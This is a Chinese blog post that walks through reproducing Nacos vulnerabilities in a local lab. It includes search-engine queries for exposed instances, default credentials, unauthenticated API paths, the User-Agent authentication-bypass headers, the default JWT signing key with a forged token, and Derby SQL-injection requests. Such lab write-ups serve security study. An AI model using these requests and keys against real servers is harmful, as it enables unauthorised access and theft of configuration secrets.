上心师傅的思路分享(三)--Nacos渗透

已于 2024-06-10 19:42:50 修改
阅读量1.4k 收藏 24
点赞数 21
分类专栏： # 漏洞挖掘实战 # 漏洞复现 网络安全学习 文章标签： web安全 Nacos 中间件
于 2024-06-10 19:40:21 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_72543266/article/details/139551809
版权

目录

1. 前言

2. Nacos

2.1 Nacos介绍

2.2 鹰图语法

2.3 fofa语法

2.3 漏洞列表

未授权API接口漏洞

3 环境搭建

3.1 方式一:

3.2 方式二: 

3.3 访问方式

4. 工具监测

5. 漏洞复现

5.1 弱口令

 5.2 未授权接口

5.3.1 用户信息 API

5.3.2 集群信息 API

5.3.3 配置信息 API

5.3 CVE-2021-29441 Nacos权限认证绕过漏洞

5.4 Nacos token.secret.key默认配置(QVD-2023-6271)

5.4.1 验证漏洞

 5.4.2 构造JWT token

5.5 Nacos Derby SQL注入漏洞 (CNVD-2020-67618)

5.5.1 漏洞复现:

 5.5.2 工具复现

5.5.3 一些常用的查询语句

5.6 CVE-2021-29441 Nacos权限认证绕过漏洞

5.7  Nacos-client Yaml反序列化漏洞  和 Nacos Jraft Hessian反序列化漏洞(QVD-2023-13065) 

6.其他利用方式

7.总结 

1. 前言

        最近回顾看一下上心师傅在上课时分享的渗透思路,因为本次的这个利用方式之前是了解过,Ctf比赛遇到过,但是当时的我还是小白一个对此完全不懂,而在经过上心师傅的分享后,发现其实原理自己懂,但是一直没有利用和学习过,刚好上心师傅讲了,那就认真学习同时复现一下吧.

        刚好也对漏洞环境搭建做一个练习,毕竟一名合格的安全测试人员,除了在实战环境下复现,也需要自行搭建真实环境进行漏洞复现测试,避免在实战环境下影响业务.

免责声明

        博文中涉及的方法可能带有危害性，博文中的图片中的域名展示仅供参考,并不具有威胁性,仅供安全研究与教学之用，读者将其方法用作做其他用途，由读者承担全部法律及连带责任，文章作者不负任何责任.

        下面是上心师傅上课讲的一些思路总结,以及我自己对这个漏洞学习到的一些总结和梳理.

2. Nacos

2.1 Nacos介绍

        Nacos 是阿里巴巴推出来的一个开源项目，是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。致力于帮助发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集，可以快速实现动态服务发现、服务配置、服务元数据及流量管理。

        但是Nacos是部署在内网的,因此下面通过语法搜索出来的可以看到的,一般会做访问限制的,正常是访问不到的,如果可以访问就可以尝试是否存在漏洞了.当然如果直接在真实环境下测试,一是未授权行为,二是不容易找到复现环境,所以在本地搭建环境来进行复现是最安全,也是最容易

2.2 鹰图语法

app.name="Nacos" 

2.3 fofa语法

app="Nacos" && icon_hash="1227052603" && country="CN"

2.3 漏洞列表

Nacos控制台默认口令漏洞

漏洞影响版本:所有版本

nacos/nacos
CVE-2021-29441 Nacos权限认证绕过漏洞/nacos/v1/auth/users?pageNo=1&pageSize=1
未授权API接口漏洞

用户信息 API:      /nacos/v1/auth/users?pageNo=1&pageSize=5 (pageSize和pageNo根据数据量自行更改)

集群信息 API:   /nacos/v1/core/cluster/nodes?withInstances=false&pageNo=1&pageSize=10&keyword=

配置信息 API:  /nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=9&tenant=

&search=accurate&accessToken=&username=

Nacos token.secret.key默认配置(QVD-2023-6271)

漏洞影响版本: 0.1.0 <= Nacos <= 2.2.0

/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate返回403就可以考虑伪造jwt

 Nacos User-Agent权限绕过（CVE-2021-29441）

漏洞影响版本: Nacos <= 2.0.0-ALPHA.1

http://ip:端口/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur 

这个版本环境很低,需要的师傅可以搭建环境自行复现

 
Nacos-client Yaml反序列化漏洞  
 漏洞影响版本: Nacos-Client < 1.4.2		具体看下面复现
 
Nacos Jraft Hessian反序列化漏洞(QVD-2023-13065) 
 
漏洞影响版本:1.4.0 <= Nacos < 1.4.6 和 2.0.0 <= Nacos < 2.2.3
 		开放7848端口
Nacos Derby SQL注入漏洞 (CNVD-2020-67618) 
derby数据库
 
/nacos/v1/cs/ops/derby?sql=select+*+from+sys.systables
 
nacos+spring  actuator 如果从nacos无法突破, 从actuator中的heapdump获取密码 /actuator/heapdump进行分析尝试获取密码,然后再进入nacos
 

3 环境搭建
 

                          本次Nacos漏洞复现环境都是在Linux环境下进行复现的
 

3.1 方式一:
 

直接下载
 

下载环境
wget https://github.com/alibaba/nacos/releases/download/2.0.0-ALPHA.1/nacos-server-2.0.0-ALPHA.1.tar.gz
 
解压
tar -zxvf nacos-server-2.0.0-ALPHA.1.tar.gz
 
 
进入目录
cd nacos

cd 进入nacos的bin目录

启动

./startup.sh -m standalone
关闭
./shutdown.sh
 

3.2 方式二: 
 

        因为自己的环境出了问题,导致无法用命令下载github的文件,于是通过下面的方式解决,这里我只做复现和分析就不写这种方式了,下面这个师傅的文章比较详细,可以跟着学习和使用.
 

Kali设置/挂载共享文件夹_kali开机自动挂载共享文件夹-CSDN博客icon-default.png?t=N7T8https://blog.csdn.net/Ahuuua/article/details/108584355        直接浏览器访问下面的链接,当然直接访问会比较慢,可以通过科学方式加速
 

https://github.com/alibaba/nacos/releases/download/2.0.0-ALPHA.1/nacos-server-2.0.0-ALPHA.1.tar.gz
 

        然后把下载好的文件放入共享文件夹,最后移动到自己常用的位置,然后在文件目录下按照下面的操作.
 

 
解压
tar -zxvf nacos-server-2.0.0-ALPHA.1.tar.gz
 
 
进入目录
cd nacos

cd 进入nacos的bin目录

启动

./startup.sh -m standalone

关闭
./shutdown.sh
 

 

3.3 访问方式
 

ifconfig  # 注意和win查本机ip的方式有点不同

访问ip:8848/nacos/#/login
 

                        下面我的测试环境都是以搭建的虚拟机环境ip地址为准 
 

 

访问环境地址,出现下面的界面,代表搭建环境成功.
 

 

4. 工具监测
 

        在复现环境前,因为这个搭建的环境是比较老的版本,到目前为止发现的所有历史漏洞应该都是存在的,先用工具扫描一下,进行尝试,上心师傅推荐的这个工具比较好用,建议用最新版的,监测的poc会多一点.
 

charonlight/NacosExploitGUI: Nacos漏洞综合利用GUI工具，集成了默认口令漏洞、SQL注入漏洞、身份认证绕过漏洞、反序列化漏洞的检测及其利用 (github.com)icon-default.png?t=N7T8https://github.com/charonlight/NacosExploitGUI        可以看一下漏洞描述,初步了解需要复现的漏洞原理,如果遇到不知道的,可以自行去搜索详细的文章进行学习.
 

java -jar NacosExploitGUI_v4.0.jar
 

 

                                因为是老版本,所以包含所有历史漏洞,扫描结果如下:
 

 

5. 漏洞复现
 

5.1 弱口令
 

                        Nacos控制台默认口令为nacos/nacos,遇到了可以先尝试一下
 

一般会存在一个test/test的用户,也可以进行尝试
 

 

 

 5.2 未授权接口
 

                        在未登录情况下的登录界面直接拼接下面的api接口
 

5.3.1 用户信息 API
 

/nacos/v1/auth/users?pageNo=1&pageSize=5
 

 

        这里因为没有添加用户,所以就一个用户,如果有很多用户的话,可以尝试其他用户的弱口令
 

        显然密码是加密的,并且我之前遇到过一个系统也是这样加密的,搜索和学习后,发现是无法解密的密码,这里只能通过尝试常见的弱口令,或是账号和密码一样看能否进入了.
 

5.3.2 集群信息 API
 

/nacos/v1/core/cluster/nodes?withInstances=false&pageNo=1&pageSize=10&keyword=
 

 

5.3.3 配置信息 API
 

通过看别的师傅的一些挖掘案例文章发现这个接口和上面的用户信息接口一样很重要,并且还有可能会出现一些重要的配置信息,例如:接口在未授权的情况下可能会暴露MySQL、Redis、Druid  postgresql   mongodb等配置信息，若存在云环境、文件系统，还可能暴露各种key
 

/nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=9&tenant=&search=accurate&accessToken=&username=
 

 

5.3 CVE-2021-29441 Nacos权限认证绕过漏洞
 

验证漏洞
 

http://192.168.10.14:8848/nacos/v1/auth/users?pageNo=1&pageSize=1
 

 

 在浏览器直接访问是get请求:
 

http://192.168.10.14:8848/nacos/v1/auth/users
 

 

        在burp的历史包中,将访问请求发送到重放模块,然后更改请求方式为post,修改User-Agent为Nacos-Server,至于为什么是username=xiaoyu&password=xioayu  参数你可以在登录界面抓一个包就知道为什么是这个格式了.
 

 

                                                             用xiaoyu/xiaoyu进行登录
 

 

5.4 Nacos token.secret.key默认配置(QVD-2023-6271)
 

        复现这个漏洞的话通过Nacos版本 <= 2.2.0的才是正确的复现环境,但是老版本也是存在这个漏洞的,本来不想搭建这个环境,结果老版本工具可以监测到,但是自己复现无法成功,于是,直接用老搭建一个新的环境,需要的师傅自行搭建复现,其他搭建和上面的操作是一致的.
 

环境地址:https://github.com/alibaba/nacos/releases/download/2.2.0/nacos-server-2.2.0.tar.gz


 

                                        注意需要先开启鉴权,不然登录是不需要使用JWT的
 

 

        Nacos使用token.secret.key来进行身份认证和加密。在Nacos版本 <= 2.2.0 时,，这个密钥是固定的默认值，导致存在一个安全漏洞。
 

密钥的固定的默认值
 

SecretKey012345678901234567890123456789012345678901234567890123456789
 

5.4.1 验证漏洞
 

                        这个是2.2.0比前面的2.0.0多了一行红字,内部系统,不可暴露到公网
 

 

        不带jwt直接访问如下地址,看别的师傅都说,正常是返回403,但是我是老版本,也会出现信息,结果我尝试了2.2.0还是会返回下面的信息,此时我已经懵逼了
 

http://192.168.10.14:8848/nacos/v1/auth/users?pageNo=1&pageSize=5&search=accurate
 

        2.2.0版本未经过鉴权的话进行测试发现也会出现下面的信息,并且可以进行一些列的操作,比如说直接添加用户,删除用户等等.
 

 

 老版本的话,会出现下面的信息,有我前面复现漏洞添加的新用户
 

 

 5.4.2 构造JWT token
 

先访问接口
 

/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate
 

 

 

其中exp是时间戳,利用下面部分进行伪造令牌,然后进行尝试
 

exp是时间戳,需要把时间戳改为大于当前时间,建议直接改为明天的时间
 

默认泄露了key,就是下面的全部
 

SecretKey012345678901234567890123456789012345678901234567890123456789
 

{
  "sub": "nacos",
  "exp": 1718012869 
}
 

        时间戳修改为比当前时间晚一天就可以了,生成一个比当前时间晚一天的时间戳,写博文的时候当前日期为6月9日,时间戳改为6月10日
 

 

 按图所示填写对应的palyload和key,拿到伪造的JWT
 

JWT构造网站
https://jwt.io/  
时间戳生成网站
https://tool.lu/timestamp/
 

 在JWT页面伪造好数据包后,就可以尝试在登录界面随意抓包,然后在数据包中添加下面的语句,
 

 

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcxODAyMDM4Nn0.UpyKSCj74oARPBP23X0TnAtWI6i3OKhr3XsaqfMSkL0
 

        重新抓一个登录的包,拦截返回包,将上面将返回的数据,替换重新抓的拦截包里的数据,然后发包就会进行后台界面
 

 

 

5.5 Nacos Derby SQL注入漏洞 (CNVD-2020-67618)
 

这个还是在2.0.0环境下进行复现的,当然也可以使用工具进行测试
 

        Nacos config server 中有未鉴权接口，执行 SQL 语句可以查看敏感数据，可以执行任意的 SELECT 查询语句。使用derby数据库进行部署的Nacos.
 

5.5.1 漏洞复现:
 

/nacos/v1/cs/ops/derby?sql=select+*+from+sys.systables
/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st
 

 

 5.5.2 工具复现
 

 

5.5.3 一些常用的查询语句
 

select * from users
select * from permissions
select * from roles
select * from tenant_info
select * from tenant_capacity
select * from group_capacity
select * from config_tags_relation
select * from app_configdata_relation_pubs
select * from app_configdata_relation_subs
select * from app_list
select * from config_info_aggr
select * from config_info_tag
select * from config_info_beta
select * from his_config_info
select * from config_info
 

5.6 CVE-2021-29441 Nacos权限认证绕过漏洞
 

/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur
User-Agent: Nacos-Server
serverIdentity: security 
 

正常情况下:
 

 在请求头中添加绕过后,出现下面的信息,说明权限绕过了
 

 

5.7  Nacos-client Yaml反序列化漏洞  和 Nacos Jraft Hessian反序列化漏洞(QVD-2023-13065) 
 

        这两种漏洞需要在一定的环境下才有存在的可能,而在本地环境的话,目前我是无法达到复现效果的,所以无法复现,可以看这位佬的,有对漏洞的详细解释,当然也可以借助上面的那款工具进行进一步利用.
 

Nacos 漏洞利用总结 | h0ny's blogicon-default.png?t=N7T8https://h0ny.github.io/posts/Nacos-%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E6%80%BB%E7%BB%93/
 

 

6.其他利用方式
 

        可以在Nacos的后台的配置文件中尝试寻找是否存在暴露MySQL、Redis、Druid  postgresql   mongodb等配置信息，若是存在云环境、文件系统，还可能暴露各种key,都是可以进行链接和利用的,看是否能进行存储桶接管.
 

7.总结 
 

        本次是对上心师傅所讲的漏洞进行一次总结,同时对环境搭建与复现过程中,其实也遇到了很多问题,都一点一点解决了,虽然有点艰辛,但是完成的时候还是很快乐的,继续加油.

                

        

        

    




    

      

        

            

              
                
                  XError＿xiaoyu
                
              
            

            

                关注
              
            

        

        

          
    
            
  • 
              
                
                
                
                
                    21
                
              
              
    点赞
    
            
    • 
            
  • 
              
                
                
                
              
              
    踩
    
            
    • 
            
  • 
              
                
                
                
                
                    24
                
              
              
    
                
    
                  
                    收藏
                  
                
    
              
    
              
    
                
    
                  觉得还不错?
                  
                    一键收藏
                  
                 
                
    
              
    
            
    • 
                
  • 
                  
                    打赏
                    
                  
                  
    打赏
    
                
    • 
          
  • 
            
    
              
              
            
    
              
              
              
                  1
              
            
            
    评论
    
          
    • 
          
  • 
          
    • 
          
  • 
            
              
            
              
    
            
              
                
            
    
          
    • 
        

      

      

            

                专栏目录
          










                



	

		

			

				
					
docker-compose 安装 nacos,连接本地Mysql

				
			

			

				

					06-28
				

			

		

		

			
				
docker-compose 安装 nacos,连接本地Mysql,进入docker-compose.yml所在目录,执行docker-compose up 命令,数据库脚本在sql目录下

			
		

	



                

              
                



	

		

			

				
					
xxl-job-nacos改造版


				
			

			

				

					10-21
				

			

		

		

			
				
xxl-job改造使用nacos注册中心。 改造过程见https://blog.csdn.net/gsls200808/article/details/133956977 改造后，调度器使用执行器服务名即可找到执行器，不用再管ip，执行器通过服务名即可找到调度器，不用输一长...

			
		

	



                


  
              

                


	

		

			

				
					
nacos+harbor组合的渗透测试

				
			

			

				

					weixin_42877383的博客
				

				

					11-26
					
					4133
					
				

			

		

		

			
				
harbor
未授权访问
在搜索框搜索即可获得仓库信息（有点敏感就不贴东西了）

Swagger-ui文档泄露
https://IP:端口/devcenter-api-2.0

接口未授权访问
使用Swagger-ui访问接口即可，总有未授权的
未授权新建管理员
注册账号，对注册信息进行抓包修改，在post数据后面添加”has_admin_role”:true

影响版本
Harbor 1.7.0版本至1.8.2版本
不受影响版
Harbor>= 1.7.6
Harbor>= 1.8.3
nac

			
		

	





	

		

			

				
					
改造xxl-job适配nacos注册中心

				
			

			

				

					gsls200808的专栏
				

				

					10-21
					
					2734
					
				

			

		

		

			
				
xxl-job并没有对nacos、zookeeper这一类注册中心，所以需要进行改造。改造目标1.对调度器，需要能注册到nacos上，并且执行器管理里的 机器地址 能使用 lb://serviceName 这种地址2.对执行器，需要能注册到nacos上，对9999端口进行拦截，让其使用server.port的地址。注意：nacos能兼做注册中心和配置中心，这里不改造配置中心的功能。

			
		

	



		

			
		



	

		

			

				
					
spring-cloud-starter-alibaba-nacos-config 启动配置管理

					
热门推荐

				
			

			

				

					不懂一休
				

				

					04-07
					
					1万+
					
				

			

		

		

			
				
nacos spring-cloud 参考地址： https://nacos.io/zh-cn/docs/quick-start-spring-cloud.html
Spring Cloud Alibaba Nacos Config 参考地址：https://github.com/alibaba/spring-cloud-alibaba/wiki/Nacos-config
版本对应说明： https://github.com/alibaba/spring-cloud-alibaba/wiki/版本说明
说明

			
		

	





	

		

			

				
					
xxl-job 集成nacos 的两种方式

				
			

			

				

					吾生有涯，而知无涯。
				

				

					03-02
					
					1万+
					
				

			

		

		

			
				
前言：

    百度了很久，看了很多博客，按照上面的来，都没能跑成功，最后根据各种异常去查询问题，根据问题说明，按照里面说的再去修改配置，折腾了不少时间，终于成功了，感谢！！


一、准备环境省略

二、xxl-job 源码下载

https://github.com/xuxueli/xxl-job.git

三、修改配置文件

1、方式一

1.1 xxl-job-admin 下的pom配置文件加入以下配置：


<!-- 启用 nacos -->
<dependency&...

			
		

	





	

		

			

				
					
sentinel-dashboard-nacos-1.8.1.jar

				
			

			

				

					05-07
				

			

		

		

			
				
实现sentinel和nacos的双向数据绑定，sentinel修改流控规则，nacos也会修改。 注意：groupId: SENTINEL_GROUP 这里指定必须是SENTINEL_GROUP，否则无效

			
		

	





	

		

			

				
					
spring-cloud-starter-alibaba-nacos-config-2021.1-API文档-中文版.zip

				
			

			

				

					05-09
				

			

		

		

			
				
赠送jar包：spring-cloud-starter-alibaba-nacos-config-2021.1.jar； 赠送原API文档：spring-cloud-starter-alibaba-nacos-config-2021.1-javadoc.jar； 赠送源代码：spring-cloud-starter-alibaba-nacos-config-...

			
		

	





	

		

			

				
					
spring-cloud-starter-alibaba-nacos-discovery-2021.1-文档-中文版.zip

				
			

			

				

					05-09
				

			

		

		

			
				
赠送jar包：spring-cloud-starter-alibaba-nacos-discovery-2021.1.jar； 赠送原API文档：spring-cloud-starter-alibaba-nacos-discovery-2021.1-javadoc.jar； 赠送源代码：spring-cloud-starter-alibaba-nacos-...

			
		

	





	

		

			

				
					
DNSSec：网络安全的守护者

				
			

			

				

					jiamisoft的博客
				

				

					07-12
					
					447
					
				

			

		

		

			
				
DNSSec是一种安全协议，它为DNS查询和响应过程提供了额外的加密层。通过使用公钥基础设施（PKI）和数字签名，DNSSec能够验证DNS响应的真实性，从而防止DNS欺骗攻击，即攻击者将用户重定向到恶意网站的行为。

			
		

	





	

		

			

				
					
网络安全-基础网络概念1

				
			

			

				

					LS_Ai的博客
				

				

					07-11
					
					589
					
				

			

		

		

			
				
计算机网络是一种将多个计算机系统和设备连接在一起的技术，目的是为了共享资源和信息。网络使得设备之间可以进行数据传输和通信，常见的网络包括局域网（LAN）、广域网（WAN）和城域网（MAN）。

			
		

	





	

		

			

				
					
在日常生活中，应该如何保护自己的网络安全

				
			

			

				

					2301_79527080的博客
				

				

					07-16
					
					256
					
				

			

		

		

			
				
• 安全的网上购物：• 确保购物网站是安全的，检查网址前缀是否为“https”。• 教育和意识：• 不断学习网络安全知识，了解最新的威胁和防御措施。• 确认网站的URL是否正确，避免访问伪造的网站。• 启用多因素认证（MFA）：• 多因素认证可以为账户提供额外的安全层，通常包括你所知道的（密码）、你所拥有的（手机验证码）以及你是谁（生物特征识别）。• 限制公开信息：• 避免在社交媒体上公开过多的个人信息，如旅行计划、工作地点等。• 更新和补丁：• 保持操作系统、软件和应用程序的最新状态，及时安装安全补丁。

			
		

	





	

		

			

				
					
【网络安全】基于PHP study的DVWA靶场搭建教程

				
			

			

				

					等风来
				

				

					07-14
					
					473
					
				

			

		

		

			
				
接着访问：http://127.0.0.1/dvwa-master，拉到页面最下面点击Create/Reset Databse
跳转至该页面后，输入admin、password即可登录：

			
		

	





	

		

			

				
					
网络安全防御 -- 双机热备和带宽管理综合实验

				
			

			

				

					rrl18215821889的博客
				

				

					07-16
					
					471
					
				

			

		

		

			
				
12，对现有网络进行改造升级，将当个防火墙组网改成双机热备的组网形式，做负载分担模式，游客区和DMZ区走FW3，生产区和办公区的流量走FW1。13，办公区上网用户限制流量不超过100M，其中销售部人员在其基础上限制流量不超过60M，且销售部一共10人，每人限制流量不超过6M。16，外网访问内网服务器，下行流量不超过40M，DMZ中的每台服务器限制对外提供的最大下行带宽不超过20M。做负载分担模式，生产区和办公区的流量走FW1，游客区和DMZ区走FW3。配置g0/0/0ip和开启服务。办公区销售部带宽策略;

			
		

	





	

		

			

				
					
网络安全----web安全防范

					
最新发布

				
			

			

				

					weixin_55357256的博客
				

				

					07-16
					
					519
					
				

			

		

		

			
				
以下代码用来防范流行的DDoS攻击，ARP欺骗，CC攻击，XXS攻击，对输入的恶意代码进行过滤，嵌入到web程序可以很好的防范网络攻击，但如果想要更好的防范网络攻击，还需要更加复杂的配置和更硬核的硬件。print(f"可能的 CC 攻击针对资源 {resource} 检测到")# 用于检测 CC 攻击的函数（简单示例，通过监测短时间内对同一资源的请求频率）# 用于检测 XSS 攻击的函数（简单示例，检查输入中是否存在可疑脚本标签）# 用于检测 DDoS 攻击的函数（简单示例，通过监测短时间内的连接数量）

			
		

	





	

		

			

				
					
java配置nginx网络安全，防止国外ip访问，自动添加黑名单，需手动重新加载nginx

				
			

			

				

					weixin_44006009的博客
				

				

					07-13
					
					332
					
				

			

		

		

			
				
创建一个类，自己添加一个main启动类即可测试。通过访问日志自动添加国外ip黑名单。

			
		

	





	

		

			

				
					
网络安全-内网安全加固方案

				
			

			

				

					PanDD_0_1的博客
				

				

					07-12
					
					846
					
				

			

		

		

			
				
网络安全-内网安全

			
		

	





	

		

			

				
					
nacos配置中心的maven依赖名称是什么?   A. spring-cloud-starter-alibaba-nacos-config   B. spring-cloud-alibaba-nacos-config   C. spring-cloud-starter-nacos-config   D. spring-cloud-nacos-config

				
			

			

				

					05-29
				

			

		

		

			
				
nacos配置中心的 Maven 依赖名称是 `spring-cloud-starter-alibaba-nacos-config`，选项 A 是正确的。

该依赖是 Spring Cloud Alibaba 中集成 Nacos 配置中心的 Starter，包含了 Nacos 配置中心的核心依赖和 Spring Cloud 配置的相关依赖。可以在 Spring Boot 项目的 pom.xml 文件中添加以下依赖来使用 Nacos 配置中心：

```xml
<dependency>
    <groupId>com.alibaba.cloud</groupId>
    <artifactId>spring-cloud-starter-alibaba-nacos-config</artifactId>
</dependency>
```

添加该依赖后，可以在 Spring Boot 应用程序中使用 `@RefreshScope` 注解来实现动态刷新配置。

			
		

	



              



  
“相关推荐”对你有帮助么？

  

      
    
          
  • 
              
    
                  
                  
              
    
              
    非常没帮助
    
          
    • 
          
  • 
              
    
                  
                  
              
    
              
    没帮助
    
          
    • 
          
  • 
              
    
                  
                  
              
    
              
    一般
    
          
    • 
          
  • 
              
    
                  
                  
              
    
              
    有帮助
    
          
    • 
          
  • 
              
    
                  
                  
              
    
              
    非常有帮助
    
          
    • 
      

      

      

          
          提交
      

      

  




          




        



    





    



      

      

        
      

      





	

		
评论 1

	

	
	




  

    

      添加红包
      
    

    

      

        
        

          
          
        

        
请填写红包祝福语或标题

      

      

        
        

          
          个
        

        
红包个数最小为10个

      

      

        
        

          
          元
        

        
红包金额最低5元

      

      

        
        

          当前余额3.43元
          前往充值 >
        

      

      

        

          需支付：10.00元
        

        
        
      

    

  





  

    
    
  

  

    
    
  








  

    

      

        

          

            
            
成就一亿技术人!

          

          

        

        

          

          

            领取后你会自动成为博主和红包主的粉丝
            规则
          

        

      

      

        

          

            
              
            
            

              
hope_wisdom
 发出的红包
            

          

        

        

          

          

          

        

      

    

    

  





	
打赏作者

	

		

		
			
		
		

		

			
XError＿xiaoyu

			
你的支持，使我更好的创作

		

	

	

			

	

	

    ¥1
    ¥2
    ¥4
    ¥6
    ¥10
    ¥20
	

	

		

			

				

					扫码支付：¥1
				

				

					

					
					获取中
					

				

				

					
					
					扫码支付
				

			

		

		

			
您的余额不足，请更换扫码支付或充值

			
打赏作者

		

	



      
      

      
实付元

      
使用余额支付

      

        

          

            
            点击重新获取
          

        

        
扫码支付

      

      

        
          
            
          
          
        
      

      

        
        钱包余额
          0
          

            
            

              

                
抵扣说明：

                
 1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
 2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

              

            

          

      

      余额充值